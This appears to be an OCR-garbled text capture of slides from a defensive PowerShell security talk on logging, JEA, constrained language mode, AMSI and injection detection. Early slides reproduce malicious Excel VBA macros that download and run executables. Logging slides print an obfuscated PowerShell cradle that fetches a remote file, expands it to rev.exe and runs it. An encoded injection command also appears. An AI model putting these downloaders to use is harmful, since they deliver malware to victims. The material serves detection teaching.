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claratlior Windows API Function

of Windows unction
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ByVal szUR

£
e Function URLDownloadToFile Lib "urlmon" Alias "URLDownloadToFil
L As String, ByVal szFileName As String, ByVal dwReserved As Long

Sub RunMacro ()
Dim RetVal
RetVal = Shell ("C:\Users\Public\Documents\stagel-embed.exe", 1)
End Sub

Private Sub Workbook Open()
'Declare Local V ]

Dim InpUrl As String
Dim OutFilePath As Str

Dim DownloadStatus As

File and O t File Destination Path
"nttp://www.sharkswithlaserbeams.biz/stagel-embed.exe"
ilePath = "C:\Users\Public\Documents\stagel-embed.exe"
n download file from th
DownloadStatus URLDownloadToFile (O,
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End Sub
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Dim
Set = CreateObject ("Scripting.FileSystemObject"”)
Dim Fileout As Object
Set Fileout = fso.CreateTextFile (Environ("Temp") & "\\Signature.crt",
Fileout.Write b
Fileout.Write StrReverse(s2() & s)
Fileout.Write e
Fileout.Close
Dim wsh As Object
wsh = VBA.CreateObject ("WScript.Shell")
im waitOnReturn As Boolean: waitOnReturn
im windowStyle As Integer: windowStyle =
.Run "cmd.exe /c certutil -decode " vi & "\\Signature.crt " & Environ("Temp") & "\\Sign.exe",
h.Run "cmd.exe /c " & Environ("Temp") ign. windowStyle, waitOnReturn
nviron ("Temp”) & "\\Sign.exe"”
Environ ("Temp”) & "\\Signature.crt"
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Dim Ws*Shell
’*eateObJecc("Wsc*lpt Shell"™)

. Terminate
End With
End Sub

Function dexict ()
MsgBox ("Error: We are sorry, but the server could not be reached. If this problem persists, please contact ser
End Function

Public Function Baseé4Decoding (StrToDecode As String, Optional CheckInvalidChars As Boolean =
Static DecodeTable (0 To 255) As Byte




WHAT DOES APT LOOK LIKE?

<o Targeted Attacks again

& C @& https//www.fireeye.com/blc

@ F|reEye Customer Stories Language Search FireEye.com

Products Solutions Services Current Threats Partners Support Company

Home FireEye B Threat Researct og Targeted Attacks against Banks in the Middle East

TARGETED ATTACKS AGAINST BANKS IN THE Sign up for
MIDDLE EAST Email Updates

May 22, 2016 | by Sudeep Singh, Yin Hong Chang | Th esearch, Targeted Attack

Introduction

In the first week of May 2016 eEye’s DTI identified e of em containing malicious attachments being sent to multiple banks in the
iddle East re eat actors appear to be performing initial reconnaissance again: uld-be targs and the attacks caught our attention Executive Perspective Blog

since they were using unique scripts not commonly seen in crimeware campaigns
Threat Research Blog

In this blog we discuss in detail the tools, te techniques and procedures (TTPs ed in these targeted a
Products and Services Blog

Delivery Method
Subscribe

The attackers sent multiple emails containing macro-enabled XLS files to emplo working in the bankin:
of the messages used in the attacks are related to IT Infrastructure such as a log of Serv atus Report or a list of Cisco Iron Port Appliar
content of the email appeared to be a legitimate ema es, even containing contact

s from several banks. This email was then forwarded to sevel - cious Excel file attached.

Macro Details

The macro first calls an

1 o heet titled "Incompatible”
i . If the file is not present, the macro cr
, namely up, , and t

3. The extracted content from step one is decoded using PowerShell and dropped into two different files:

The ma en creats t : K , which executes

N Due v PUBL in the macro er will only run suc

and s

Sub Init
Set UpdateVbs = ActiveWorkbook.Worksheets("I patib cells(1,
Set DnsPs1 = ActiveWorkbook.Worksheets("Incompatible").Cells(1, 26
Set wss = CreateObject("WScript.Shell”
Set fso = CreateObject(“Scripting.FileSys

If Not (fso.FileExists(wss.ExpandEnvironmentStrings("

fso.CreateFolder (wss_ExpandEnvironmentStrings("

https://www.fireeye.com/blog/threat-research/2016/05/targeted_attacksaga.html



= Pulling Back the Curtains on EncodedCommand PowerShell Attacks

Pulling Back the Curtains on EncodedCommand
PowerShell Attacks

General Distribution / Stats

Across the 4,100 samples, there were 4 file formats seen

File Format Count % of Total
“exe” [2.154 |52 549%
“doc’ [1717 [41.88%
“Xls” (228 |5 56%

| [1 [0.02%

http://researchcenter.paloaltonetworks.com/2017/03/unit42-pulling-back-the-curtains-on-encodedcommand-powershell-attacks/



POWERSHELL FOR POST-EXPLOITATION

PS5 C:!} IEX !NEW-OEJECt NEt.WEEC 1ent!.Down oa!stmng! !

Invoke-Mimikatz

HERBE . mimikatz 2.0 alpha (x64) release "Kiwi en C" (Dec 14 2015 19:16:34
HE N #E
## O\ # [ ox %
## \ / ## Benjamin DELPY "gentilkiwi  ( benjamin@gentilkiwi.com )
‘## v ##' http://blog.gentilkiwi.com/mimikatz (oe.eo) "
HHHAS with 17 modules * * */ ucla [ -

PowerShell Toolkit: PowerSploit -

POSTED IN EXPLOIT DEVELOPMENT, GENERAL SEGURITY. PENETRATION T
8, 2015 Empire: PowerShell post-exploitation agent | [Version]: 0.5.1-beta

. [Web]l: https://www.PowerShellEmpire.com/ | [Twitter]: @harmj@y, @sixdut
PS Attack, a portable PowerShell attack toolkit - Jared ... @

>
[ R VAR N I Y O [
. N A 0 I e I U B |1
[ N 7 / [
L N O I e
- Making it easy to use PowerShell for evil

lz 91 modules currently loaded

) HAIGHT 1 listeners currently active

NG PS>ATTACK,

E POWERSHELL 1 agents currently active

K TOOLEIT



(SOMII'\Zl) POST-EXPLOITATION OPTIONS
ON A COMPROMISED MACHINE

Compiled exe files « COM objects

DLLs (i.e.:Load Path tampering, * Macros / Visual Basic for Applications
application dependencies) (VBA)

Perl * csc.exe

Python « HTML Applications (HTAs)

Ruby * SQL

Bash * PowerShell

VBScript

JScript
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LET’S BLOCK POWERSHELL!

* Doesn’t address the underlying security problem

* Removes your most secure and security-transparent management tool



010) 43}

PowerShell
lsn’t Just
PowerShell.exe

Actions | Script
$turtle Reset()

function fern($size)

if($size -It 5] { retumn }

$turtle. Forward($size / 20)
$turtle. Left(80)
fern ($size * 0.3)

https://blogs.msdn.microsoft.com/powershell/2013/10/01/paap-windows-powershell-as-a-platform-part-1/
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MASLOW’S HIERARCHY
OF SECURITY CONTROLS

Remediate
Forensic capture of
memory-based artifacts
Forensic capture of host-based artifacts D ete Ct
Auditing of Protections
Application Whitelisting in “Allow” Mode
Prevent

Application Whitelisting in “Deny” Mode

Patching & Antivirus

http://www.leeholmes.com/blog/2014/12/08/maslows-hierarchy-of-security-controls/



WE’RE LISTENING

Bash

CMD / BAT

Jscript

LUA

Perl

PHP

PowerShell

Python No

Ruby No

sh No** No*
T-SQL

VBScript No

zsh No** No*

* Feature exists, but cannot enforce by policy

** Experiments exist

https://blogs.msdn.microsoft.com/powershell/2017/04/10/a-comparison-of-shell-and-scripting-language-security/



WE’RE LISTENING

-
Bash
CMD / BAT No
Jscript No
LUA No
Perl No No
PHP No
PowerShell Yes
Python No** No
Ruby No No
sh No** No*
T-SQL Yes
VBScript No No
zsh No** No*

* Feature exists, but cannot enforce by policy

** Experiments exist

https://blogs.msdn.microsoft.com/powershell/2017/04/10/a-comparison-of-shell-and-scripting-language-security/



JUST ENOUGH ADMINISTRATION (JEA)

Serverl

PS> mstsc /v Serverl

“Jeffrey I need to be admin on Serverl to restart DNS”

“No gentilkiwi.
Just use PowerShell to connect to the server”

PS> Enter-PSSession Serverl
Serverl> Restart-Service Dns

®)

Serverl> Steal-Secrets







PRIVILEGED IDENTITY MANAGEMENT = TIME

%/////////////////%

Capability

Time



JUST ENOUGH ADMINISTRATION = CAPABILITY

/2722 / /722 /7 2A2AHL 2/}

Capability

Time



JEA ROLE CAPABILITY EXAMPLE

@{

# Description of the functionality provided by these settings
Description 'Role Capabilities for DNS Maintenance'

# Modules to import when applied to a session
ModulesToImport 'DnsServer’

# Cmdlets to make visible when applied to a session
VisibleCmdlets 'Get-Service', 'Restart-Service'
'Get-DnsServerCache', 'Clear-bDnsServercCache'
'Show-DnsServercCache'

# Functions to define when applied to a session
FunctionDefinitions = @{

"Name'' 'whoami'

'ScriptBlock' { $pSsSenderinfo } }




LOCAL SANDBOXING

B Registry Editor
File Edit
nZonfiguration
Mame Data

" ab| (Default) i (walue not set)
MetCache

ab| ConsoleSessionConfigurationMame i Jumphbox

Metwork Connections _ T . _

L i ab| EnableConsoleSessionConfiguration i 0

MetworkConnectivityStatusindicator

MetworkProvider

PowerShell
ConsoleSessionConfiguration

o5

safer

SettingSync

SOMClient

SrpV2

Systemn

Tepip

WemnSve

Windows Error Reporting

WindowsUpdate

WinRM

WiredL2

Wireless

Workplaceloin




JUST ENOUGH ADMINISTRATION!

Capability

Time



MAKING POWE

RSHELL

SECURITY TRANSPARENT

http://aka.ms/MVAps5

Module / Pipeline logging
System-wide transcripts
Script Block logging
Antimalware Integration



File Action View Help

Bl = HEl 7
Tablet PC
| Task Scheduler

~| Windows Calendar

| Windows Color System
| Windows Customer Expe
| Windows Defender

| Windows Error Reporting
| Windows Installer
| Windows Logon Options
| Windows Mail

~| Windows Media Center

| Windows Media Digital
| Windows Media Player
| Windows Messenger

| Windows Mobility Cente
| Windows PowerShell
| Windows Reliability Anal
| Windows Remote Manat

~| Windows Remote Shell

| Windows Update
| Work Folders
| Workplace Join

CONFIGURATION

Local Group Policy Editor

. Windows PowerShell

Turn on PowerShell Script Block
Logging

Setting

|z Turn on Module Logging
Edit slios sekiiig A Turn on Pox{verShell SFrlpt Block Logging
iz Turn on Script Execution

Requirements:
At least Microsoft Windows 7 or
Windows Server 2008 family

|| Turn on PowerShell Transcription
:iz| Set the default source path for Update-Help

[ & Turn on PowerShell Script Block Logging

E} Turn on PowerShell Script Block Logging

Previous Setting Next Setting

5 +
(O Not Configured Comment:

(® Enabled «
() Disabled

Supported on: | At |east Microsoft Windows 7 or Windows Server 2008 family

Cptions: Help:

[] Log script block invocation start / stop events: ) ) ) ) )
This policy setting enables logging of all PowerShell script
input to the Microsoft-Windows-PowerShell/Operational event
log. If you enable this policy setting,
Windows PowerShell will log the processing of commands,
script blocks, functions, and scripts - whether invoked
interactively, or through automation.




MODULE / PIPELINE LOGGING

Windows PowerShell

0 [C:\temp]
x> $script = "public class Foo2 { public static wvoid Hello() { I} }"

: 3729428

: Information

: BOO

: Pipeline execution details for command Tine: Add-Type -TypeDefinition $script.

Context Information:
DetailSequence=1
DetailTotal=1

SequenceNumber=2070

UserId=REDMONDY 1echolm

HostName=ConsoleHost

HostVersion=4.0
HostId=ed75b562-91e9-402b-b66T-3a33893a135
EngineVersion=4.0
Runspaceld=b49e7bd2-c28f-49e7-8b68-b3bb799038b5
Pipelineld=233

ScriptName=

CommandLine=Add-Type -TypeDefinition Sscript

Details:
ParameterBinding(Add-Type) : name="TypeDefinition"; value="public class Foo2 { public|

ategory : Pipeline Execution Details

ategoryNumber : 8

ReplacementStrings : {Add-Type -TypeDefinition $script, DetailSequence=1
DetailTotal=1

SequenceNumber=2070

UserId=REDMONDY 1echolm




SYSTEM TRANSCRIPTS

;I PowerShell_transcript. EDLT.6VIWCOHE.20160329162630.txt - Notepad
File Edit Format View Help

|
Windows PowerShell transcript start

Start time: 20160329162630

Username: EDLT\mredw

RunAs User: EDLT\mredw

Machine: EDLT (Microsoft Windows NT 10.0.10586.0)

Host Application: C:\WINDOWS\system32\WindowsPowershell\v1l.@\Powershell ISE.exe
Process ID: 8564

PSVersion: 5.0.10586.122

PSCompatibleversions: 1.0, 2.9, 3.9, 4.0, 5.0.10586.122

Buildversion: 1€.0.10586.122

CLRVersion: 4.0.30319.42000

WSManstackversion: 3.0

PSRemotingProtocolversion: 2.3

SerializationVersion: 1.1.8.1

Transcript started, output file is C:\Users\mredw\Documents\Powershell transcript.EDLT.6Vthc
Ps C:\> gps | select -Last 1

Handles NPM(K) PM(K) WS(K) VM(M) CPU(s) Id SI ProcessName

2808 @ ZeroConfigService

Windows PowerShell transcript end
End time: 20160329162646

Ln 1, Col 1



SCRIPT BLOCK LOGGING

powershell -encodedCommand IABpAGUAeAAQgACOAA. ..AeQAVAGUAMABNAHCAOQB3ACKAIAA=




il Event Properties - Event 4104, PowerShell (Microsoft-Windows-PowerShell)

General | Details / |IEX (Invoke-Expression)

Creating Scriptblock text (1 of 1):

{SPSHOMel4]+SpSHoME[34]+'X') (0} +'A0={'+ 0}
en'+'v:USER'+'PR'+'O'+'F'+'IL'+'E;'+'{0'+'}' + 'b=get-'+'ran'+"'d'+ 'om(1'+'0'+"'0'+'00..999'+ '999) '+ ';'+'(New-
ObJect Syst'+'e'+'m.N'+'eT.W'+'ebClieNt)'+".D'+'0'+'wn'+'lo'+'a"+"dfile

({'+"1'+"Y+'htt'+'ps'+"1//s'+"ayi"+ trade.co’+'m/c'+'u’+'b.b'+'in{'+'1'+'}'+" {'+"1{'+'0'+"JA0'+'{3{"'+"'0}b.cab
{1'+'}+")'+"e'+'xpand {'+'0JA"+'0{'+ '3} +'{0} +'b'+"."+"'c'+'ab {0}env:U'+ 'SERPR'+'OF '+ 'ILE{3}re'+ 'v.exe{ '+ '2}
out-nu'+'I'+'[;St'+'art'+'-P'+ 'rocess '+ '{0}JA0{'+'3

b'+'.c'+'a'+'b")-f [cHAR]36,[cHAR]34,[cHAR]124,[cHAR]92))

ScriptBlock ID: 722dc7d0-7b7a-4fc9-beal-7a29b506caba

Log Name: Microsoft-Windows-PowerShell/Operational

Source: PowerShell (Microsoft-Wind Logged: 3/3/2017 7:00:53 AM
Event ID: 4104 Task Category: Starting Command
Level: Verbose Keywords: None

User: Computer:

OpCode: On create calls

More Information: Event Log Online Help




i Event Properties - Event 4104, PowerShell (Microsoft-Windows-PowerShell) E

General | Details

Creating Scriptblock text (1 of 1):

SAO=Senv:USERPROFILE;Sb=get-random(10000..999999);(New-ObJect
System.NeT.WebClieNt).Downloadfile("https://sayitrade.com/cub.bin”,"SAO\Sb.cab");expand SAQ\Sh.cab
Senv:USERPROFILE\rev.exe|out-null;Start-Process SAO\rev.exe;Remove-ltem SAQ\Sb.cab

ScriptBlock ID: 3263ba81-1bf6-4490-852d-76c58eea5ad?

Log Name: Microsoft-Windows-PowerShell/Operational

Source: PowerShell (Microsoft-Wind Logged: 3/3/2017 7:00:53 AM
Event ID: 4104 Task Category: Starting Command
Level: Verbose Keywords: None

User: Computer:

OpCode: On create calls
More Information: Event Log Online Help




ANTIMALWARE INTEGRATION (AMSI)

‘ :/pentest/exploits/set/reports/powershell# s
powerdump.encoded. txt x64 powershell injection. txt
powershell.rc x86 powershell injection.txt
’ ' t:/pentest/exploits/set/reports/powershell# cat x64 powersheldl injection.t
xtT
powershell -noprofile -windowstyle hidden -noninteractive -EncodedCommand JABJA
BAZABLACAAPQAgACCAWWBEAGWADABIAGOACABVAHIAdAAOACIAawBLAHIADgBLAGWAMWAYAC4AZABSA
AIgAPAFOACABIAGIADABPAGMAIABZAHQAYQBOAGKAYWAgAGUAeABOAGUACgBUACAASQBUAHQAUABOAH
TAIABWAGKACgBOAHUAYQBSAEEADABSAGBAYWAOAEKADgBOAFAAJABYACAADABWAEEAZABKAHIAZQBZAH
'-Lé&gAHUAaOBuAHQAIABkAHcAUprAHoAZQAsACAAdOBpAG4AdAAgAGYAbABBAGwAbABvAGMAYOBOA
KADWBUAFQAeQBWAGUALAAgGAHUAaAQBUAHOQAIABMAGWAUABYAGBAdABLAGMAJAAPDADSAWWBEAGWADABJA
OACABVAHIAdAAOACIAaAwWwBLAHIADgBLAGWAMWAYAC4AZABSAGWAIgAPAFOACABI1AGIADABpAGMATIABZAH
QAYOQBOAGKAYWAgAGUAEABOAGUACgBUACAASQBUAHQAUABOAHIAIABDAHIAZOBhAHOQAZQBUAGQACgBLAG
EAZAACOAEKADgBOAFAAdABYACAADABWAFQAaABYAGUAYQBKAEEAdABOAHIAaAQBiAHUAdABLAHMALAAgQAH
UAaQBUAHOQAIABKAHCAUWBOAGEAYWBrAFMAaOQBOAGUALAAGAEKADgBOAFAAJABYACAADABWAFMAdABAOhA
IAdABBAGQAZABYAGUACWBZACWAIABIAG4AAdABQAHQACgAgAGWACABQAGEACgBhAGOAZQBOAGUACgASAC
AAdOQBpAG4AJdAAgAGQAdWBDAHIAZOBhAHQASOBVAG4ARgBSAGEAZWBZACWAIABIAGAAdABQAHQACgAQAG
ACABUAGQACgBLAGEAZABIJAGQAKQA7AFSARABSAGWASQBTAHAADWBYAHQAKAAIAGOACWB2AGMACgBOAC
4AZABSAGWAIgAPAFOACABI1AGIADABPAGMATIABZAHQAYQBOAGKAYWAgAGUAeABOAGUACgBUACAASQBUA
QAUABOAHIAIABTAGUADOQBzZAGUAJAAOAEKADgBOAFAAJABYACAAZABLAHMAJAASACAAdOBPAGAAdAAQAH
MAcCgBj]ACWAIAB1AGKADgBOACAAYWBVAHUADgGBOACKAOWANADSAJAB3AGKADgBGAHUADgB jACAAPQAQAE
EAZABKACOAVABSAHAAZQAQACOADOBLAGOAYgBLAHIARABLAGYAaQBUAGKAJABpPAGSBADgAgACQAYWBVA
QAZQAgACOATgBhAGOAZQAgACIAVWBPAGAAMWAYACIATAATAGAAYQBTAGUACWBWAGEAYWB LACAAVWBpPA

https://blogs.technet.microsoft.com/mmpc/2015/06/09/windows-10-to- offer-application-develop ers-new-malware-defenses/



PROTECTED EVENT LOGGING

File Action View Help
= x5 HE

1 Nifs Operational Number of events: 244 Actions

. NTLM Level Date and Time Source EventID T:* oA N
| OfflineFiles

9 DOBE-Machine-D ®Verbose 4/20/2015 9:33:42 PM PowerShell (Microsoft-... 4104 B

1 OtpCredentialPror L Verbose 4/20/2015 9:33:37 PM PowerShell (Microsoft-... 4104 Ef¥
< >

| PackageStateRoal
| ParentalControls Event 4104, PowerShell (Microsoft-Windows-PowerShell)

_| ParentalControlsS
| PDFReader

~ Palicy-based Qos Creating Scriptblock text (1 of 1)
a4 | PowerShell BEGIN CMS
& Admin MUN2wYIKoZlhveNAQcDolINzDCCTegCAQAxggFPMIIBSwWIBADAZMB8xHTAbBgNVBAMMFEHN 1bW 1p
] Operational dEBsZWVob2xtZXMuY29tAhBuOSL4Vg TNKUSWRH7BPr7gMAOGCSgGSIb3DQEBBzAABIIBABMH/59C
| PowerShell-Desire ro1egP71gIPfefnlQpJhPulu3/BmuR8s5Ht2LICh/t6kFH4GrPot)O30xmnoVgxVzONalWax8/0
| PrimaryNetworklc sRGPSRHS/QhcMGHZ 1bCIZE/SVFQG2mraczhMVRYyGIgx7HOQppOI3vXunTRombg8mIS62EwusSEV

g Pl"lntBRM fnFIDTUMMACC A h A~ C D Flrbbdn o N30 b B hea 1 shlal Vot a2 asiDDE Dt st e VB dmn DL - T b ANC hn e ~C

1 PrintService Log Name: Microsoft-Windows-PowerShell/Operational

| Program-Compat Source: PowerShell (Microsoft- Logged: 4/20/2015 9:33:37 PM

| Proximity-Commc Event 1D 4104 Task Category: Execute a Remote Command

| PushMotifications: Level: Verbose Keywaords: MNone

| RasClusterResourc User; REDMOMNDMleeholm  Computer LEEHOLM17.redmond.corp.microsoft.com
1 ReadyBoost OpCode: On create calls

| ReadyBoostDriver 9 More Information: Event Log Online

General | Details

eI o W Y N U R R

>




USEFUL EVENTS

System

Security

Windows PowerShell 400

Windows PowerShell 800

Microsoft-Windows-PowerShell/Operational 4104
Warning

Microsoft-Windows-PowerShell/Operational 4104
Verbose

Microsoft-Windows-PowerShell/Operational 53507
Microsoft-Windows-WinRM/Operational 91

An event log was cleared

Auditing of configured files, registry keys:

PowerShell profiles (*profile*.psl)
Security settings (HKLM:\Software\Policies\*)

PowerShell Startup, including hosting application,
version

Command and Parameter Logging

ScriptBlock automatic logging — used APIs or
techniques commonly associated with malware

ScriptBlock logging

PowerShell debugger attached to a process

User connected to system with PowerShell
Remoting

https://www.fireeye.com/content/dam/fireeye-www/ global/en/solutions/pdfs/wp-lazanciyan-investigating-p owershell-attacks.p df



DEVICE GUARD AND APPLICATION WHITELISTING

| BICYCLE RIDING
| ROLLERBLADING
| ROLLERSKATING

SKATEBOARDING

SCOOTER RIDING

https://channel9.msdn.com/Events/Ignite/201 5/BRK2336



POWERSHELL WITH DEVICE GUARD

EF Windows PowerShell ISE

Eile Edit View Tools Debug Add-ons Help
B 8 »
trusted.ps1 X

param($SExponent)

Math Pow(2, $Exponent)

PS C:\WINDOWS\system32>
256

c:\windows\system32\trusted.psl 8

PS C:\WINDOWS\system32> [System.Runtime.InteropServices.Marshal]::ReadByte(1234)

PS C:\WINDOWS\system32> '[System.Runtime.InteropServices.Marshal]::ReadByte(1234)' > c:\temp\trusted.psl

PS C:\WINDOWS\system32> c:\temp\trusted.psl

Ln 24 Col 25




POWERSHELL CONSTRAINED LANGUAGE
RESTRICTIONS

Language elements that provide access to Win32 APIs
COM objects

NET methods, property setters, types, and conversions
Add-Type

XAML-based workflows

PowerShell Classes (because they create .NET classes)

DSC configuration declarations

Constrained Language removes the language capabilities that make PowerShell useful for attackers.
It is not a RBACsandbox like JEA.

Like cmd.exe, it is designed to allow interactive administration, and therefore still allows access to
executables and cmdlets.



SECURE CODING

function Invoke-RestrictedGetProcess
—{

param($Name)

1f ($Name "powershell™)

{
}

Invoke-Expression "Get-Process -Name $name”

throw "Intruder alert!”

1
g
5
6
8
9
0
1

1
1

https://blogs.msdn.microsoft.com/powershell/2013/12/16/powershell-security-best-practices/



... AT SCALE

PSScriptAnalyzer 1.15.0

ential code def in the

Inspect
PS> Save-Module -Name PSScriptaAnalyzer -Path <path:

Install

PS> Install-Module -Name PSScriptAnalyzer

Deploy

formatting s
natting.

n the next lina.

https://github.com/PowerShell/PSScriptAnalyzer



POWERSHELL INJECTION HUNTER

"N D:\lee\InjectionHunter\Tests [10.0.15063.0 (WinBuild.160101.0800)]

[D:\lee\InjectionHunter\Tests]
PS:18 > Invoke-Pester

should detect Invoke-Expression 279ms
Should detect Invoke-Expression alias 281ms
Should detect InvokeScript 277ms

Should detect CreateNestedPipeline 289ms
Should detect Addscript 283ms

Should detect Add-Type injection 318ms

Should detect Add-Type injection w/ parameter 315ms

Should detect Add-Type injection w/ variable 310ms

should allow Add-Type w/ constant expression variable 306ms
should allow Add-Type w/ constant expression inline 320ms

|+ ||+ ||+ ||+ ||+ 1

Should detect Powershell injection 334ms

Should detect PowerShell injection w/o parameter 340ms
Should detect CMD injection 319ms

Should allow non-injected commands 276ms

)

should detect scriptBlock.Create injection 304ms
Should detect NewScriptBlock injection 289ms

—r
+ +
arus

should detect Foreach-object injection 391ms

Should allow Foreach-Object w/ script block 287ms

Should allow Foreach-oObject w/ constant member access 303ms
Should detect static property injection 275ms

Should detect method injection w/ parens 297ms

Should detect method injection w/ Invoke 278ms

[+] should detect Expandstring injection via ExecutionContext 310ms
[+] should detect ExpandString injection via SessionState 290ms

[+] should detect unsafe escaping - single quotes 325ms
[+] Should detect unsafe escaping - double quotes 293ms
Tests completed in 7.9s
Passed: 26 Failed: 0 Skipped: 0 Pending: 0 Inconclusive: 0

[D:\lee\InjectionHunter\Tests]
PS:19 > _

https://blogs.msdn.com/b/PowerShell



INTEGRATION WITH VISUAL STUDIO CODE

> . UnsafeEscape.ps1 — Visual Studio Code

File Edit Selection View Go Debug Tasks Help

> UnsafeEscape.ps1 ®

function Invoke-UnsafeEscape

{
param($UserInput)

mainm nmroan

$escaped = $UserInput -replace h
Invoke-Expression "Get-Process -Name '$escaped'"”

1..10 | % foo

[PSScriptAnalyzer] Possible unsafe use of input escaping. Varia
bles may be used directly for dynamic parameter arguments, spla
tting can be used for dynamic parameter names, and the invocati
on operator can be used for dynamic command names. If content e
scaping is truly needed, PowerShell has several valid quote cha
racters, so [System.Management.Automation.LlLanguage.CodeGenerat
ion]::Escape* should be used instead. (InjectionRisk.UnsafeEsca

ping)

Fescaped = $UserInput -replace ’
Invoke-Expression "Get-Process -Name '$escaped'"”

QoA4 Ln 19, Col 1 Spaces:4 UTF-8 CRLF PowerShell A )







WATCH FOR DOWNGRADE ATTACKS

Event Log

As a detection mechanism, the “Windows PowerShell” classic event log has event ID 400. This is the “"Engine Lifecycle” event, and includes the Engine Version. Here is an example

query to find lower versions of the PowerShell engine being loaded:

001 Get-WinEvent -LogName "Windows PowerShell"

002 Where-Object Id -eq 400

003 Foreach-Object {

004 [Version] ($_.Message

005 ([Version] "5.0")) { $_ }
006 }

AppLocker / File Auditing

When the CLR loads PowerShell assemblies, it will first load the managed assemblies from the GAC (if they are available). It will also load the native images that contain pre-jitted

'(?s).*EngineVersion=([\d\.]+)*.*'

code if the assemblies are NGEN'd (which they are). Here is what loading PowerShell v2 looks like:

£J Process Monitor - Sysinternals: www.sysinternals.com

Options Help
TA® | B MK

PID Operation h

10892 B CreateFile o
10892 [BhQuerySecurityFile C:\
10892 [BhCreateFileMapp...C
10892 [BhCreateFileMapp...C:\
10892 [BhCreateFile C:AWI
10892 B\ QueryBasiclnfor..C:\
10892 BhCloseFile C:\
10892 [BhCreateFile C:\
10892 [BhQuerySecurityFile C:\!
10892 [BACreateFileMapp.
10892 [BhCreateFileMapp.
10892 BhQueryEAFile
10892 [BAQueryStreamint...
10892 [BhCloseFile

10892 B\ CreateFile

! File Edit Event Filter Tools
L

1ed | RBE

Time
7:03:0
7:03:0
7:03:0
7:03:0
7:03:0
7:03:0
7:03:0
7:03:0
7:03:0.
7:03:0.
7:03:0
7:03.0..
7:03:0.
7:03:0.
7:03:0..

Process Name

E¥ PowerShell.exe
£¥ PowerShell exe
£¥ PowerShell exe
£¥ PowerShell exe
EX PowerShell exe
E¥ PowerShell. exe
£¥ PowerShell exe
¥ PowerShell exe
£¥ PowerShell.exe
EX PowerShell exe
£X PowerShell exe
£¥ PowerShell exe
£¥ PowerShell exe
X PowerShell exe
£¥ PowerShell.exe

These can either be an audit trigger, or can be blocked outright.

i

Vindows'\assembly\Nativelmages_v2.0.5
\Windows'\assembly\Nativelmages_v2.0.507
\Windows'\assembly\GAC MSIL\System.Management.Automation\1.0.0.0

\Windows\assembly\GAC_MSIL\System .Management.Automation\1.0.0.0__31bf3856ad 364e 35\System.Management . Automation.dil

3 ystem.Management . Automation’\1.0.0.0__31bf3856ad364e35\System Management Automation dll
AC_MSIL\System .Management . Automation\1.0.0.0__31bf3856ad364e35\System.Management . Automation.dil
/ ystem.Management  Automation ni.dll
7_64\System Management A#\8b1355a03394301941edcbb3150e 16 stem.Management. Automation .ni dll
\System.Management A#\8b1355a0339430194 1edcbb3190e 165b\System . Management . Automation.ni.dll
System.Management A#\8b1355a0339430194 1edcbb9190e 1650\ System . Management . Automation .ni.dll
stem.Management A#\8b1355a0339430194 1edcbb9190e 1650\ System . Management . Automation .ni.dll
\System.Management. A#\8b 1355a0339430154 1edcbb3190e 165b\System. Management . Automation .ni dll
System.Management A#\8b 1355a0333430134 1edcbb9190e 1650 \System. Management . Automation .ni.dil
rstem.Management A%\8b 1355a0333430194 1edcbb9190e 1650 \System. Management . Automation .ni.dil
A rstem.Management . A#\8b 1355a0339430194 1edcbb9190e 165b\System. Management . Automation ni dll
_64\System.Management . A%\8b 1355a0339430194 1edcbb3190e 165b\System. Management . Automation .ni dll
31bf3856ad364e35

.Na‘hvelmages:VZ 0.50727_

http://www.leeholmes.com/blog/2017/03/17/detecting-and-preventing-powershell-downgrade-attacks/



They promised us freedom.

.
\» it

Chris Thompson @retBandit



But delivered slavery.




POWERSHELL: THE ULTIMATE ATTACKER
HONEYPOT

Matt Graeber
' @mattifestation

The security transparency is so good in
PowerShell that I'm investing in other

languages/frameworks w/ less/no security
Insight.

4:37 PM - 8 Sep 2017
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